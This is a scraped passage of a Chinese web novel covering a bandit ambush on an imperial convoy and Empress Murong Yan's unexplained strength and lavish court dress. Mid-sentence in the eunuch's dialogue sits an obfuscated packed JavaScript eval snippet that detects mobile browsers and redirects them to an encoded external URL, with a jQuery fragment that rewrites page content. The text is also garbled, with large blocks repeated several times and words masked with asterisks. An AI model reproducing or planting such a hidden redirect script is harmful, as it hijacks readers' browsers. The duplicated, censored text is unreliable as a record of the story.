“说,什么事?” “据拼命跑回来的百骑司兄弟说,他们从武清县运送二锅头,还没到叶县就遇到了山贼,庄三亭他们拼死抵抗,这才将山贼杀退,但是伤亡很大,现在部队已经继续前进了,但想要在韩国把生铁运回来,人手不够。” 林臻起身从侯春手里接过信件,上面没有火漆,还带着血,应该是在非常匆忙的情况下写好送出来的。 把信抽出,信纸上也都是血。 写信的人是林臻派去的龙骧营亲卫,专门负责盯梢的,混在百骑司队伍里。 信上说,他们在定陶县松云山官道上遇到山贼,贼寇有五百之多,装备精良,训练有素,不像寻常山贼。 包括他在内,一百多名百骑司队伍拼死抵抗,将山贼杀退,仅剩三十人,目前正在继续运送骡车赶往叶县。 “定陶有山贼?开什么玩笑。”林臻喃喃一声。 南楚虽然是江北的治理不上心,但那也是朝廷土地,不可能允许有山贼的存在。 再说,南楚曾经也是七国当中经济实力最强盛的,百姓有吃有穿,谁会把脑袋别裤腰带上去当山贼?这明显是有人蓄意谋划。 但这伙人冒充山贼的目的是什么呢难道是为了**二锅头? 不应该,二锅头表面上虽然稀有,但是朝廷官员按品级,每个月都有发放。 哪个当官的也不会为了喝点酒去**,再者,信上说得很清楚,是训练有素、装备精良的五百人,这就和军队差不多了,应该是私人的府兵。 在大乾,能拥有五百以上府兵的人,除了昔日的顾云霆,就是一王四公。 难道是某个公侯要跟我作对? 林臻觉得极有可能。 因为纨绔上战场导致**许多人这件事情,很多高官都对林臻有意见,他们虽然表面不敢说,但内心肯定恨**林臻。 他们不想林臻这么容易就促成与韩国的贸易,所以暗中动手脚。 “呵呵呵呵。” 想到这,林臻突然冷笑起来,觉得这帮人十分幼稚。 不管对方是什么目的,不管他们是什么想法。 敢对百骑司动手,这不是给慕容嫣上眼药么? 那妮子发起狠来,可是能把所有贪官查个底掉的,现在有人杀了她的人,她岂能善罢甘休。 最好是别被她查出来,否则朝廷将会是另一场大地震。 公侯阻拦国际贸易,这罪名想想就可怕。 尤其是慕容嫣最近正琢磨怎么才能让勋贵取消**制呢,这正好是个理由。 林臻把信放在烛火上烧掉,飞灰落在脚边的痰盂盆里。 目光愣愣地盯着,想了许久,对侯春说道:“把老曹叫来,再把胖子也叫来。” “是。” “还有,别告诉王爷,他老人家这几天心情不好。” “末将明白。” 言罢侯春转身离开。 以前他都自称属下,自从林臻给他挂了个京兆通州都尉的闲职,这才开始改称末将。 下午的时候,曹雄一身黑甲,气势汹汹地走了进来,见到林臻哈哈大笑。 “哇哈哈哈哈,世子!末将来迟了!” 林臻见到他很开心。 走过来,很亲切地锤了锤他的肩膀:“臭小子,最近过得可好啊?” 因为对南楚、北燕的战争胜利,曹雄也不在虎贲营任职,林臻把他调到金吾卫任偏将,算是高升。 曹雄笑的时候嘴张得很大,连扁桃体都能看见:“哈哈哈哈,好啊!金吾卫那帮小子被末将训练的鬼哭狼嚎!战斗力杠杠的!” “嗯,那就行,这次喊你回来,是有事要你落实。” “世子吩咐!末将必定完成!” “唔,坐。”林臻指了指办公桌面前的椅子。 人家现在大小也是个将军,总跪着回话不合适。 曹雄不管那些,让坐就坐,很是豪爽。 林臻坐在他对面,表情严肃的说道。 “目前地方上形式很严峻,你也知道,江北很多地盘都是刚收回来的,百姓对大乾朝廷没有归属感,官员散漫,对朝廷政令更是虚以委蛇。本来像这样的政事是不能落在你身上的,可这不是朝廷缺人嘛,我要你立刻从金吾卫中拨出两万兵马,分四路,每路五千。沿东平、济阴、陈留、叶县,分别驻扎,看着他们。” “**的,小小地方官竟敢不服从中央号令,好大的胆子!世子放心,末将这就带兵去屠了这群逼养的!告诉告诉他们,现在谁才是他们亲爹!” “嗐。”林臻一摆手,“不是要你去**的,是让你去看着,顺便保护武清到叶县官道的安全。” “保护官道?”曹雄砸吧砸吧嘴,搓了搓手,“世子,不是末将多嘴,我们可是正规军,这点小事.” “这不是小事儿!朝廷很多事情你不知道,前几天陛下的百骑司队伍在定陶被山贼袭击了!伤亡几十人!” “啥?”曹雄瞪大眼睛,“百骑司被袭击了!?真的假的?这帮犊子疯了吧?他们难道不知道百骑司是陛下的人?” “当然知道,所以我才需要你去沿途驻扎,保证官道安全,这关于国策,懂么?” “懂!世子放心,末将这就回去准备!” “嗯。”林臻点点头,突然想起个人来,问道:“诶?**梦极呢?” “您不是给他放假了吗?估计这时候应该在家里,老婆孩子热炕头呢吧。” **梦极因为阵前斩将、守城有功,于是被封清河县男,任左武卫裨将,可以说身份地位水涨船高,前途不可限量。 林臻按照约定给他放了个长假,所以到现在他还没去赴任。 既如此,就再用用。 “你立刻去找**梦极,传我的命令,让他亲自带兵两千去叶县找庄三亭,接手对韩贸易的押运工作。” “是,末将这就去办。” 敢对百骑司动手,这不是给慕容嫣上眼药么? 那妮子发起狠来,可是能把所有贪官查个底掉的,现在有人杀了她的人,她岂能善罢甘休。 最好是别被她查出来,否则朝廷将会是另一场大地震。 公侯阻拦国际贸易,这罪名想想就可怕。 尤其是慕容嫣最近正琢磨怎么才能让勋贵取消**制呢,这正好是个理由。 林臻把信放在烛火上烧掉,飞灰落在脚边的痰盂盆里。 目光愣愣地盯着,想了许久,对侯春说道:“把老曹叫来,再把胖子也叫来。” “是。” “还有,别告诉王爷,他老人家这几天心情不好。” “末将明白。” 言罢侯春转身离开。 以前他都自称属下,自从林臻给他挂了个京兆通州都尉的闲职,这才开始改称末将。 下午的时候,曹雄一身黑甲,气势汹汹地走了进来,见到林臻哈哈大笑。 “哇哈哈哈哈,世子!末将来迟了!” 林臻见到他很开心。 走过来,很亲切地锤了锤他的肩膀:“臭小子,最近过得可好啊?” 因为对南楚、北燕的战争胜利,曹雄也不在虎贲营任职,林臻把他调到金吾卫任偏将,算是高升。 曹雄笑的时候嘴张得很大,连扁桃体都能看见:“哈哈哈哈,好啊!金吾卫那帮小子被末将训练的鬼哭狼嚎!战斗力杠杠的!” “嗯,那就行,这次喊你回来,是有事要你落实。” “世子吩咐!末将必定完成!” “唔,坐。”林臻指了指办公桌面前的椅子。 人家现在大小也是个将军,总跪着回话不合适。 曹雄不管那些,让坐就坐,很是豪爽。 林臻坐在他对面,表情严肃的说道。 “目前地方上形式很严峻,你也知道,江北很多地盘都是刚收回来的,百姓对大乾朝廷没有归属感,官员散漫,对朝廷政令更是虚以委蛇。本来像这样的政事是不能落在你身上的,可这不是朝廷缺人嘛,我要你立刻从金吾卫中拨出两万兵马,分四路,每路五千。沿东平、济阴、陈留、叶县,分别驻扎,看着他们。” “**的,小小地方官竟敢不服从中央号令,好大的胆子!世子放心,末将这就带兵去屠了这群逼养的!告诉告诉他们,现在谁才是他们亲爹!” “嗐。”林臻一摆手,“不是要你去**的,是让你去看着,顺便保护武清到叶县官道的安全。” “保护官道?”曹雄砸吧砸吧嘴,搓了搓手,“世子,不是末将多嘴,我们可是正规军,这点小事.” “这不是小事儿!朝廷很多事情你不知道,前几天陛下的百骑司队伍在定陶被山贼袭击了!伤亡几十人!” “啥?”曹雄瞪大眼睛,“百骑司被袭击了!?真的假的?这帮犊子疯了吧?他们难道不知道百骑司是陛下的人?” “当然知道,所以我才需要你去沿途驻扎,保证官道安全,这关于国策,懂么?” “懂!世子放心,末将这就回去准备!” “嗯。”林臻点点头,突然想起个人来,问道:“诶?**梦极呢?” “您不是给他放假了吗?估计这时候应该在家里,老婆孩子热炕头呢吧。” **梦极因为阵前斩将、守城有功,于是被封清河县男,任左武卫裨将,可以说身份地位水涨船高,前途不可限量。 林臻按照约定给他放了个长假,所以到现在他还没去赴任。 既如此,就再用用。 “你立刻去找**梦极,传我的命令,让他亲自带兵两千去叶县找庄三亭,接手对韩贸易的押运工作。” “是,末将这就去办。” 敢对百骑司动手,这不是给慕容嫣上眼药么? 那妮子发起狠来,可是能把所有贪官查个底掉的,现在有人杀了她的人,她岂能善罢甘休。 最好是别被她查出来,否则朝廷将会是另一场大地震。 公侯阻拦国际贸易,这罪名想想就可怕。 尤其是慕容嫣最近正琢磨怎么才能让勋贵取消**制呢,这正好是个理由。 林臻把信放在烛火上烧掉,飞灰落在脚边的痰盂盆里。 目光愣愣地盯着,想了许久,对侯春说道:“把老曹叫来,再把胖子也叫来。” “是。” “还有,别告诉王爷,他老人家这几天心情不好。” “末将明白。” 言罢侯春转身离开。 以前他都自称属下,自从林臻给他挂了个京兆通州都尉的闲职,这才开始改称末将。 下午的时候,曹雄一身黑甲,气势汹汹地走了进来,见到林臻哈哈大笑。 “哇哈哈哈哈,世子!末将来迟了!” 林臻见到他很开心。 走过来,很亲切地锤了锤他的肩膀:“臭小子,最近过得可好啊?” 因为对南楚、北燕的战争胜利,曹雄也不在虎贲营任职,林臻把他调到金吾卫任偏将,算是高升。 曹雄笑的时候嘴张得很大,连扁桃体都能看见:“哈哈哈哈,好啊!金吾卫那帮小子被末将训练的鬼哭狼嚎!战斗力杠杠的!” “嗯,那就行,这次喊你回来,是有事要你落实。” “世子吩咐!末将必定完成!” “唔,坐。”林臻指了指办公桌面前的椅子。 人家现在大小也是个将军,总跪着回话不合适。 曹雄不管那些,让坐就坐,很是豪爽。 林臻坐在他对面,表情严肃的说道。 “目前地方上形式很严峻,你也知道,江北很多地盘都是刚收回来的,百姓对大乾朝廷没有归属感,官员散漫,对朝廷政令更是虚以委蛇。本来像这样的政事是不能落在你身上的,可这不是朝廷缺人嘛,我要你立刻从金吾卫中拨出两万兵马,分四路,每路五千。沿东平、济阴、陈留、叶县,分别驻扎,看着他们。” “**的,小小地方官竟敢不服从中央号令,好大的胆子!世子放心,末将这就带兵去屠了这群逼养的!告诉告诉他们,现在谁才是他们亲爹!” “嗐。”林臻一摆手,“不是要你去**的,是让你去看着,顺便保护武清到叶县官道的安全。” “保护官道?”曹雄砸吧砸吧嘴,搓了搓手,“世子,不是末将多嘴,我们可是正规军,这点小事.” “这不是小事儿!朝廷很多事情你不知道,前几天陛下的百骑司队伍在定陶被山贼袭击了!伤亡几十人!” “啥?”曹雄瞪大眼睛,“百骑司被袭击了!?真的假的?这帮犊子疯了吧?他们难道不知道百骑司是陛下的人?” “当然知道,所以我才需要你去沿途驻扎,保证官道安全,这关于国策,懂么?” “懂!世子放心,末将这就回去准备!” “嗯。”林臻点点头,突然想起个人来,问道:“诶?**梦极呢?” “您不是给他放假了吗?估计这时候应该在家里,老婆孩子热炕头呢吧。” **梦极因为阵前斩将、守城有功,于是被封清河县男,任左武卫裨将,可以说身份地位水涨船高,前途不可限量。 林臻按照约定给他放了个长假,所以到现在他还没去赴任。 既如此,就再用用。 “你立刻去找**梦极,传我的命令,让他亲自带兵两千去叶县找庄三亭,接手对韩贸易的押运工作。” “是,末将这就去办。” 敢对百骑司动手,这不是给慕容嫣上眼药么? 那妮子发起狠来,可是能把所有贪官查个底掉的,现在有人杀了她的人,她岂能善罢甘休。 最好是别被她查出来,否则朝廷将会是另一场大地震。 公侯阻拦国际贸易,这罪名想想就可怕。 尤其是慕容嫣最近正琢磨怎么才能让勋贵取消**制呢,这正好是个理由。 林臻把信放在烛火上烧掉,飞灰落在脚边的痰盂盆里。 目光愣愣地盯着,想了许久,对侯春说道:“把老曹叫来,再把胖子也叫来。” “是。” “还有,别告诉王爷,他老人家这几天心情不好。” “末将明白。” 言罢侯春转身离开。 以前他都自称属下,自从林臻给他挂了个京兆通州都尉的闲职,这才开始改称末将。 下午的时候,曹雄一身黑甲,气势汹汹地走了进来,见到林臻哈哈大笑。 “哇哈哈哈哈,世子!末将来迟了!” 林臻见到他很开心。 走过来,很亲切地锤了锤他的肩膀:“臭小子,最近过得可好啊?” 因为对南楚、北燕的战争胜利,曹雄也不在虎贲营任职,林臻把他调到金吾卫任偏将,算是高升。 曹雄笑的时候嘴张得很大,连扁桃体都能看见:“哈哈哈哈,好啊!金吾卫那帮小子被末将训练的鬼哭狼嚎!战斗力杠杠的!” “嗯,那就行,这次喊你回来,是有事要你落实。” “世子吩咐!末将必定完成!” “唔,坐。”林臻指了指办公桌面前的椅子。 人家现在大小也是个将军,总跪着回话不合适。 曹雄不管那些,让坐就坐,很是豪爽。 林臻坐在他对面,表情严肃的说道。 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**梦极因为阵前斩将、守城有功,于是被封清河县男,任左武卫裨将,可以说身份地位水涨船高,前途不可限量。 林臻按照约定给他放了个长假,所以到现在他还没去赴任。 既如此,就再用用。 “你立刻去找**梦极,传我的命令,让他亲自带兵两千去叶县找庄三亭,接手对韩贸易的押运工作。” “是,末将这就去办。” 敢对百骑司动手,这不是给慕容嫣上眼药么? 那妮子发起狠来,可是能把所有贪官查个底掉的,现在有人杀了她的人,她岂能善罢甘休。 最好是别被她查出来,否则朝廷将会是另一场大地震。 公侯阻拦国际贸易,这罪名想想就可怕。 尤其是慕容嫣最近正琢磨怎么才能让勋贵取消**制呢,这正好是个理由。 林臻把信放在烛火上烧掉,飞灰落在脚边的痰盂盆里。 目光愣愣地盯着,想了许久,对侯春说道:“把老曹叫来,再把胖子也叫来。” “是。” “还有,别告诉王爷,他老人家这几天心情不好。” “末将明白。” 言罢侯春转身离开。 以前他都自称属下,自从林臻给他挂了个京兆通州都尉的闲职,这才开始改称末将。 下午的时候,曹雄一身黑甲,气势汹汹地走了进来,见到林臻哈哈大笑。 “哇哈哈哈哈,世子!末将来迟了!” 林臻见到他很开心。 走过来,很亲切地锤了锤他的肩膀:“臭小子,最近过得可好啊?” 因为对南楚、北燕的战争胜利,曹雄也不在虎贲营任职,林臻把他调到金吾卫任偏将,算是高升。 曹雄笑的时候嘴张得很大,连扁桃体都能看见:“哈哈哈哈,好啊!金吾卫那帮小子被末将训练的鬼哭狼嚎!战斗力杠杠的!” “嗯,那就行,这次喊你回来,是有事要你落实。” “世子吩咐!末将必定完成!” “唔,坐。”林臻指了指办公桌面前的椅子。 人家现在大小也是个将军,总跪着回话不合适。 曹雄不管那些,让坐就坐,很是豪爽。 林臻坐在他对面,表情严肃的说道。 “目前地方上形式很严峻,你也知道,江北很多地盘都是刚收回来的,百姓对大乾朝廷没有归属感,官员散漫,对朝廷政令更是虚以委蛇。本来像这样的政事是不能落在你身上的,可这不是朝廷缺人嘛,我要你立刻从金吾卫中拨出两万兵马,分四路,每路五千。沿东平、济阴、陈留、叶县,分别驻扎,看着他们。” “**的,小小地方官竟敢不服从中央号令,好大的胆子!世子放心,末将这就带兵去屠了这群逼养的!告诉告诉他们,现在谁才是他们亲爹!” “嗐。”林臻一摆手,“不是要你去**的,是让你去看着,顺便保护武清到叶县官道的安全。” “保护官道?”曹雄砸吧砸吧嘴,搓了搓手,“世子,不是末将多嘴,我们可是正规军,这点小事.” “这不是小事儿!朝廷很多事情你不知道,前几天陛下的百骑司队伍在定陶被山贼袭击了!伤亡几十人!” “啥?”曹雄瞪大眼睛,“百骑司被袭击了!?真的假的?这帮犊子疯了吧?他们难道不知道百骑司是陛下的人?” “当然知道,所以我才需要你去沿途驻扎,保证官道安全,这关于国策,懂么?” “懂!世子放心,末将这就回去准备!” “嗯。”林臻点点头,突然想起个人来,问道:“诶?**梦极呢?” “您不是给他放假了吗?估计这时候应该在家里,老婆孩子热炕头呢吧。” **梦极因为阵前斩将、守城有功,于是被封清河县男,任左武卫裨将,可以说身份地位水涨船高,前途不可限量。 林臻按照约定给他放了个长假,所以到现在他还没去赴任。 既如此,就再用用。 “你立刻去找**梦极,传我的命令,让他亲自带兵两千去叶县找庄三亭,接手对韩贸易的押运工作。” “是,末将这就去办。” 第405章 我现在强得可怕 夜幕仿若一块巨大的黑色绸缎,轻柔地自天际铺展而下,将巍峨的皇宫笼罩其中。 养心殿内,烛火摇曳,光影在殿壁上诡谲地舞动。 慕容嫣走向餐桌,那桌椅皆是由稀世的海南黄花梨雕琢而成。 黄花梨木纹仿若山川脉络,自然流畅,其上精心镂刻着一只只振翅欲飞的凤凰,羽毛纤毫毕现,在烛光的映照下,仿若随时都会挣脱木刻的枷锁,翱翔九天。 每一处雕花皆以金箔细细勾勒,使得凤凰更显雍容华贵,与女帝身上散发的威严气势相得益彰。 她身上所着的凤袍,无疑是这大殿内最为耀眼的存在。 那凤袍以金丝织就,每一根丝线都在日光下闪烁着尊贵的光芒,袍面上,五彩丝线绣成的凤凰栩栩如生,它们昂首展翅,灵动的模样仿佛下一秒便会引颈长鸣。 浴火重生的羽翼用了最为珍稀的赤色绸缎,其上还缀着细碎的红宝石,随着慕容嫣的一举一动,光芒闪烁,恰似凤凰身上跳跃的火焰,散发着无尽的威严与奢华。 尤为夺目的,当属那长达二十米的拖尾。 拖尾从慕容嫣的脚边开始,一路蜿蜒,仿若一条流淌着光芒的银河,向着大殿中央那象征着至高无上权力的凤椅处延展而去。 拖尾之上,绣满了繁复精美的花纹,金色的丝线勾勒出祥瑞云朵,层层叠叠,似在轻轻托举着凤凰翱翔;其间还穿插着银线绣成的灵鹿、仙鹤等仙兽,它们或嬉戏,或静立,为这拖尾增添了几分灵动的仙气。 边缘处,一排细碎的珍珠如星辰散落,随着拖尾的拖移,发出轻微的碰撞声。 当慕容嫣起身,拖尾缓缓展开,那一瞬间,整个大殿都被这华丽的光芒所笼罩,仿若她便是这世间唯一的神祇,携着无尽的风华与荣耀,主宰着万物乾坤。 桌上菜品琳琅满目,尽显皇家奢华。一道“金玉满堂”,以黄金为盘,盘中盛着的是圆润饱满的珍珠米,颗颗晶莹如玉,在其周围环绕着用深海鲍鱼肉切成的薄片,中间点缀着取自雪山之巅的百年雪莲花蕊,食之清香四溢,仿若将山川湖海的精华尽纳于一口之中。 还有“百鸟朝凤”,选取刚成年的各种鸟肉佐以秘制香料,精心烹制,肉质鲜嫩。 旁侧的“翡翠琉璃羹”更是一绝,以碧玉般的翡翠菜为主料,熬煮至汤汁浓稠似琉璃,再加入鸽蛋、干贝等珍馐,入口即化,鲜香在舌尖散开,余味悠长。 慕容嫣抬手夹菜,动作优雅从容。 头顶那顶凤冠,堪称稀世珍宝。冠 身以纯金打造,细细的金丝编织成繁复精美的花纹,仿若云纹缭绕。 其上镶嵌着鸽血红宝石、湛蓝猫眼石、祖母绿翡翠等各色宝石,每一颗皆硕大圆润,散发着夺目的光芒。 正中一只展翅凤凰,以整块暖玉雕琢而成,玉质温润,凤凰的眼眸则是两颗黑得发亮的墨玉,随着慕容嫣的动作,凤冠上的珠翠轻晃,宝石折射出五彩光芒,如梦如幻。 慕容无舌垂首静立在对面,他身姿佝偻却透着恭谨,双手紧握着拂尘,尘丝根根分明,在微光中泛着柔和的光。他的目光始终低垂,不敢有丝毫僭越。 现在慕容嫣的脾气可是越来越不好了,动不动就要**,前几天就连在宫里当差十余年的老太监也被打断双腿扔出了宫。 慕容嫣细嚼慢咽,将每一道佳肴的滋味都品味透彻,方轻轻放下碗筷,继而优雅地拿起一方绣着金凤的手帕,轻轻擦拭嘴角。 那手帕以蜀锦为底,丝线在烛光下闪烁着微光,金凤栩栩如生。 擦拭完毕,她朱唇轻启,声如珠落玉盘:“你应该知道什么吧?” 如果这皇宫里还有秘密,那一定是慕容无舌知道的最多,因为他伺候过三位皇帝。 无舌听闻,身子愈发弯得低了些,头几乎要触到地面,语调谦卑却又带着几分神秘:“陛下,此事关乎一个天下皇族的秘密。” 他微微抬头,目光快速扫过慕容嫣,又迅速垂下。 殿内一时静谧,唯有烛火的噼啪声,引得人心生无尽遐想。 慕容嫣说道:“朕小时候只是个娇弱的公主,算不上得宠,但也没有被父皇冷落,可以说朕的经历与其他国家的公主几乎没有区别,但为什么朕的力气越来越大?” 慕容嫣抬起手臂,上面的凤袍落花,露出白皙的手腕。 那里并没有变粗,也没有明显的畸形,还是和从前一样,但是刚刚她可是单手就将六十多斤的巨大凤凰香炉给举了起来。 这太神奇了,也太过诡异。 如果不是无舌今天突然发问,她都不知道自己身体出现了这么多变化。 无舌解释道:“老奴确实听闻过一件事情,但无法肯定,所以这么久以来老奴也不敢多嘴,但见陛下最近的异样,老奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288622|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得很可能和当**情有关。” “你继续说下去。” “遵旨。老奴记得先帝曾经接见过一位来自极北之地的怪人,那人浑身裹着白白的熊皮,可以看出陛下对他很是敬重,后来老奴才知道,这个人是陛下派去什么冰雪之地取麒麟胆 的。这麒麟胆据说可以短时间内强增人的力量,激发人的潜力。那人取了回来,并且交给了先帝。” 慕容嫣聚精会神地听着无舌讲述。 无舌看了看她的脸色,继续说道:“先帝并没有当即吃下,而是命人把他杀了。老奴还记得,那天先帝在金銮殿里坐了一夜,第二天才命人将药送到了钦天监。老奴怀疑陛下是想通过这样的麒麟胆,来增强士兵的战斗力,但很可惜钦天监的人琢磨了好几年也没琢磨出来,最后陛下一怒之下把钦天监全部**,准备自己吃麒麟胆,但皇后娘娘不许,说必须要先找人试药.于是老奴不知道是谁吃了麒麟胆,但没有效果是肯定的。紧接着几位皇子先后薨逝。先帝以为这是报应,于是不再问增强士兵身体的事情,心气也从此衰落。就目前陛下的身体异样来看,当年吃下麒麟胆的人,应该是您。” “朕有印象,不过你认为朕应该谢谢当初送麒麟胆的皇后吗?” 慕容嫣的脸色很不好看,无舌立刻颤抖地跪在地上:“老奴不敢!但是陛下,这件事情是当年的绝密,所有和这件事情有关的人都被处**,老奴本来也该死,但是先帝说您身边不能没有信任的人,所以才将老奴留了下来。这长生药究竟能不能长生,或者说怎样才可以长生,老奴都不得而知,更没有想到当年先帝会用您来试药。” 慕容嫣没关他,盯着自己的手猛然攥拳。 掌心发出嘎吱吱的响声。 那是力量的感觉。 谁也不知道这股力量还会不会继续增长,也不知道这股力量会不会带来什么负面影响。慕容嫣只觉现在的自己强得可怕。 既然自己有如此实力,那是不是可以也像那些武林高手一样去学武呢?从此自己也能像古之女将军那样,上战场! 慕容嫣眼睛一亮:“无舌,朕可以习武吗?” 无舌低下头:“陛下,老奴不能确定这件事情,按常理来讲,习武得是从小开始,学至中年,方有成效。陛下已然成年,酒精能不能在这种影响下习武,老奴不知道。” “要不.试试?” 第406章 陛下太过分了 慕容无舌跪在地上:“老奴愿意为陛下做任何事情。” “那好,以后每天早晨朕早起半个时辰,你来教朕练武!” “老奴遵命!” 慕容嫣很期待自己也能纵马驰骋沙场的样子,所以对练武这件事情很上心。 然恰在此时,殿门处传来一阵细微的响动,值守的小太监匆匆入内。 那小太监不过十三四岁模样,身形瘦小,刚踏入殿门,双腿便不由自主地打起了哆嗦。 他低垂着头,目光死死地盯着脚下的地砖,大气都不敢出,额头上豆大的汗珠滚落,洇湿了一小片地面。 “启禀陛下”小太监的声音带着颤音,尖锐又紧张,“巾帼将军刘妙颜在殿外求见。” 说罢,身子抖得愈发厉害了。 没办法,现在所有太监、宫女都怕慕容嫣怕的要死,基本是能躲就躲着。 但他是慕容无舌培养的**人,每天必须都要伺候在慕容嫣身边。 慕容嫣微微颔首,神色平静,轻声道:“宣。” 那声音不大,却透着不容置疑的威严。 小太监如蒙大赦,忙不迭地**着出了殿门,直到双脚跨出门槛,才稍稍松了口气,抬手抹了一把额头的冷汗,小跑着去传旨。 慕容嫣略有些阴阳怪气地看着无舌:“我说无舌啊,你这**人怎么见到朕就吓成这个样子?” 无舌暗暗腹诽。 别说他了,我一把年纪现在看到你也吓得腿肚子转筋。 哪有心情不好就杀太监解闷的,我们太监容易么? “回陛下,老奴回去后一定严加教训。” 眨眼间,一阵沉稳有力的脚步声由远及近。 刘妙颜大步迈入殿中。 她一米八的个头身姿挺拔,身着一副玄铁锻造的铠甲,腰间束着一条宽厚的**纹皮带,挂着佩剑,剑柄镶嵌的红宝石在微光中隐隐透着血光。 一头乌发高高束起成马尾辫,几缕碎发垂落在脸颊两侧,更衬出几分英气。 面庞白皙却透着长期征战磨砺出的坚毅,剑眉斜插入鬓,双眸炯炯有神,宛如夜空中最亮的寒星,整个人站在那里,便似一柄出鞘的利剑,锋芒毕露,又不失飒爽英姿。 “微臣拜见陛下!”刘妙颜单膝跪地,动作利落干脆,右手握拳,重重地砸在左膝之上,铠甲碰撞发出清脆的声响,回音在殿内久久回荡。 慕容嫣见状,嘴角上扬,露出一抹浅笑,原本威严的面容瞬间柔和了许多:“自家姐妹就不 必多礼,起来吧。” 刘妙颜闻听此言,利落地站起身来,身姿笔挺,昂首直视慕容嫣,眼中满是敬重与亲昵:“多谢陛下。” “前些时日夫君就说要让你进宫来保护朕,这怎么才来啊?” 刘妙颜有些不好意思的说道:“额朕前几天去山里打猎了,才回来。” “你呀你,这性子就不能改改?夫君说你那么多次你也不当回事。女孩子,尤其是夫君的妻妾,都要安分守己,时时刻刻为国家,为夫君考虑,哪能想做什么就做什么。” “陛下教训的是。” “行了,无舌啊,朕这几天要陪颜颜,练武的事情拖几天吧。” “老奴遵旨。”无舌立刻回应。 刘妙颜一听怎么地? 慕容嫣要练武?这可齐了。 一个皇帝不好好治理江山,练什么武啊?这不是本末倒置么。 慕容嫣看向刘妙颜,突然眼睛一亮:“诶?颜颜,不如你来教朕练武吧?” 无舌虽然是太监,但在慕容嫣眼中也终究是男性,她不喜欢除了林臻以外的男人碰他。 刘妙颜张大了嘴:“啊?” “怎么?你不愿意?” “微臣不敢。” “那就这样说定了,明天你先睡个好觉,后天就开始!” 晨曦宛如轻纱,透过雕花的窗棂,丝丝缕缕地洒进金銮殿。 殿内,群臣早已按部就班地伫立。 忽然慕容无舌走到凤台上,高声山呼。 “陛下驾到!” 紧接着一阵清脆悦耳、宛如仙乐的环佩叮当声打破了寂静。 慕容嫣莲步轻移,自屏风后徐徐转出,刹那间,金銮殿仿若被璀璨星辰点亮,所有人的目光都被她牢牢吸引。 她头顶的凤冠,以纯金精心锻造,质地淳厚,金光璀璨夺目。其上镶嵌着的红宝石,颗颗硕大,色泽鲜艳欲滴。 蓝宝石深邃幽静,幽光闪烁;祖母绿通透翠绿,生机盎然;珍珠圆润洁白,层层簇拥。 正中那只凤凰,由整块羊脂白玉雕琢而成,玉质细腻温润,凤凰的每一片羽毛都以极细的金丝精心勾勒,丝丝分明,在光线的映照下仿若活物,随时准备振翅高飞。 凤喙处含着一颗东珠,硕大无比,光芒流转,恰似夜空中最亮的启明星,将凤凰的尊贵与威严展现得淋漓尽致。 凤袍选用的是最上等、产量稀少的蜀锦,大红底色鲜艳夺目,透着皇家的威严与庄重。 袍身用金银丝线绣 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” “单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼,这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” 